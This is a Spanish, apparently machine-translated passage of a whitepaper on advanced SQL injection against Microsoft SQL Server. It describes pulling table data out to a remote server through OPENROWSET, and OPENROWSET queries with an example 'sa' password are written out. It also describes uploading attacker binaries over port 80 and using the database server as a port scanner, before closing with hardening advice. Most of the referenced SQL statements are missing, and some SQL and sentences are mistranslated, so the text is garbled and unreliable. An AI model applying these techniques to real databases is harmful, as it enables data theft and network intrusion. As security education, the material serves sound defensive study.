ESP Manipulating Microsoft SQL Server Using SQL Injectio1
ESP Manipulating Microsoft SQL Server Using SQL Injectio1
Introducción
Este documento no cubrirá la sintaxis SQL básica ni la inyección sql. Se supone
que el lector ya tiene una fuerte comprensión de estos temas. Este documento se
centrará en técnicas avanzadas que se pueden utilizar en un ataque a una aplicación
(web) que utiliza Microsoft SQL Server como back-end.
Las aplicaciones web son cada vez más seguras debido a la creciente conciencia de
ataques como la inyección sql. Sin embargo, en aplicaciones grandes y complejas,
un solo descuido puede resultar en el compromiso de todo el sistema. En concreto,
muchos desarrolladores y administradores de aplicaciones (web) pueden tener una
falsa sensación de seguridad porque utilizan procedimientos almacenados o
enmascaran un mensaje de error devuelto al explorador. Esto puede llevarlos a
creer que no pueden verse comprometidos por esta vulnerabilidad.
Mientras tratamos Microsoft SQL Server en este documento, esto no es indicativo
de modo que Microsoft SQL Server sea menos seguro que otras plataformas de
bases de datos como Oracle o IBM DB2. La inyección sql no es un defecto de
Microsoft SQL Server – también es un problema para todos los demás proveedores
de bases de datos, así. Quizás el mayor problema con Microsoft SQL Server es la
flexibilidad del sistema. Esta flexibilidad es lo que permite que sea subvertido hasta
ahora por inyección SQL. Este documento está destinado a mostrar que cada vez
que un administrador o desarrollador permite que se ejecute SQL arbitrario, su
sistema está abierto a ser rooteado. No está destinado a mostrar que Microsoft SQL
Server es inherentemente defectuoso.
Esta instrucción devolverá todas las filas de table1 en el origen de datos remoto:
select *
fromOPENROWSET( 'SQLoledb','server=servername;uid=sa;pwd=h8ck3r','select
* from table1' )
Parámetros:
insert
intoOPENROWSET('SQLoledb','server=servername;uid=sa;pwd=h8ck3r','select *
from table1')select * from table2
En el ejemplo anterior, todas las filas de table2 en el servidor SQL Server local se
anexarán a table1 en el origen de datos remoto. Para que la instrucción se ejecute
correctamente, las dos tablas deben tener la misma estructura.
Después de volver a crear las tablas en la base de datos, cargar los datos restantes
de SQL Server es trivial.
Con este método, un atacante puede recuperar el contenido de una tabla incluso si
la aplicación está diseñada para ocultar mensajes de error o resultados de consulta
no válidos.
Elevación de privilegios
A menudo, un administrador seguirá las prácticas recomendadas de seguridad y
configurará la aplicación para que use un inicio de sesión sin privilegios. Una vez
encontrada una vulnerabilidad con el inicio de sesión sin privilegios, un atacante
intentará elevar los privilegios para obtener privilegios de administrador completo.
Un atacante podría aprovechar vulnerabilidades conocidas y desconocidas para
hacerlo. Dado el número de vulnerabilidades recientes detectadas en SQL Server, si
un atacante puede ejecutar consultas arbitrarias, es relativamente fácil elevar los
privilegios.
Carga de archivos:
Una vez que un atacante ha obtenido los privilegios adecuados en SQL Server,
deseará cargar "archivos binarios" en el servidor. Dado que esto no se puede hacer
utilizando protocolos como SMB, ya que el puerto 137-139 normalmente se
bloquea en el firewall, el atacante necesitará otro método para obtener los archivos
binarios en el sistema de archivos de la víctima. Esto se puede hacer cargando un
archivo binario en una tabla local para el atacante y, a continuación, extraiendo los
datos en el sistema de archivos de la víctima mediante una conexión de SQL
Server.
Para ello, el atacante crearía una tabla en el servidor local de la siguiente manera.
crear tabla AttackerTable (texto de datos)
Una vez creada la tabla para contener el binario, el atacante cargaría el binario en la
tabla de la siguiente manera:
Esta instrucción emitirá una conexión saliente al servidor del atacante y escribirá
los resultados de la consulta en un archivo que vuelva a crear el archivo ejecutable.
En este caso, la conexión se realizará utilizando el protocolo y el puerto
predeterminados que probablemente podrían ser bloqueados por el firewall. Para
eludir el firewall, el atacante podría intentar:
Y entonces:
La primera instrucción SQL configurará una conexión con el servidor del hacker a
través del puerto 80, mientras que la segunda instrucción SQL se conectará al
servidor del hacker utilizando el puerto 80 y descargará el archivo binario.
Otro método que un hacker podría utilizar sería escribir visual Basic Script (.vbs) o
archivos Java Script (.js) en el sistema de archivos del sistema operativo y, a
continuación, ejecutar esos scripts. Con esta técnica, los scripts se conectarían a
cualquier servidor y descargarían los archivos binarios del atacante o incluso
copiarían el script y lo ejecutarían en el servidor víctima.
Para ampliar aún más, el atacante podría consultar la información de los servidores
vinculados y remotos.
Escaneo de puertos
Con las técnicas ya descritas, un atacante podría usar una vulnerabilidad de
inyección de código SQL como un escáner rudimentario de ip/puerto de la red
interna o de Internet. Además, mediante la inyección sql, la dirección IP real del
atacante sería enmascarada.
Después de buscar una aplicación (web) con una validación de entrada débil, el
atacante podría enviar la siguiente instrucción SQL:
Esta instrucción emitirá una conexión saliente a 10.0.0.123 a través del puerto 80.
En función del mensaje de error devuelto y el tiempo consumido, el atacante podría
determinar si el puerto está abierto o no.
Con esta técnica, el atacante podrá asignar puertos abiertos en las direcciones IP de
los hosts de la red interna o de Internet ocultando su dirección IP porque los
intentos de conexión los realiza SQL Server. Obviamente, esta forma de escáner de
puertos es un poco tosca, pero se usa metódicamente se puede usar para mapear
efectivamente una red.
Recomendaciones
La recomendación más fuerte es asegurarse de que no tiene ninguna vulnerabilidad
de inyección sql. Esta es la recomendación más importante porque incluso si se
abordan todas las cuestiones planteadas en este documento, seguramente surgirán
otras cuestiones. Para evitar la inyección de código SQL, se recomienda utilizar
consultas con parámetros y filtrar todos los datos proporcionados por el usuario
para caracteres no alfanuméricos.
Incluso si cree que ha cerrado todas las vulnerabilidades conocidas, sigue siendo en
su mejor interés para evitar estos ataques específicos deshabilitando algunas de las
funciones de SQL Server. Esto no es práctico si realmente está utilizando la
funcionalidad. Afortunadamente, la funcionalidad que estamos buscando
deshabilitar no se utiliza a menudo.
No debe permitir consultas ad hoc a través de OLEDB desde SQL Server. Las
consultas ad hoc de SQL Server a través de proveedores OLEDB se controlan
estableciendo el valor DisallowAdhocAccess en el Registro. Si está utilizando una
instancia con nombre (sólo Microsoft SQL Server 2000), establezca el valor
DisallowAdhocAccess en 1 bajo cada subclave de la clave del registro
HKEY_LOCAL_MACHINE\Software\Microsoft\Microsoft SQL Server\
(Instancename)\Providers. Si utiliza una instancia predeterminada, establezca el
valor DisallowAdhocAccess en 1 bajo cada subclave de la clave del Registro
HKEY_LOCAL_MACHINE\Software\MSSQLServer\MSSQLServer\Providers.
Siga los pasos que se indican a continuación para establecer este valor:
También es muy importante que se mantenga al día con las últimas correcciones de
seguridad y aplicarlas lo más rápido posible. Con el fin de mantenerse al día con los
agujeros de seguridad, se recomienda que se registre para las alertas de seguridad
ASI dirigidas específicamente a Microsoft SQL Server:
www.appsecinc.com /resources/mailinglist.html
Como precaución final, configure y pruebe los filtros de firewall para bloquear todo
el tráfico saliente innecesario. Esto no solo ayuda a proteger sus bases de datos,
sino que también ayuda a proteger toda la red.
conclusión
Lo que hemos demostrado en este documento es cómo se puede crecer una pequeña
cantidad de acceso para tomar el control total de varios servidores. SQL es un
lenguaje de propósito general. Ninguna persona sensata concedería nunca ningún
derecho para ejecutar C++ arbitrario o Visual Basic en cualquier servidor. Es
exactamente lo mismo con SQL.
Ninguna persona sana debería, excepto la entrada del usuario y ejecutarla. Esto
simplemente no debería suceder. Este documento muestra algunas de las muchas
razones por las que esto es cierto.
Microsoft SQL Server es una base de datos eficaz, flexible y asequible que sirve
como columna vertebral de un gran número de aplicaciones. Debido a estos hechos,
es importante que entendamos bien cómo se puede subvertir SQL Server y, lo que
es más importante, cómo evitarlo. SQL Server es una herramienta y si se usa de
forma incorrecta o negligente puede dañar no solo los datos de las bases de datos,
sino también otras aplicaciones de la red. Esto significa que tenemos que empezar a
tomarnos en serio la seguridad de Microsoft SQL Server.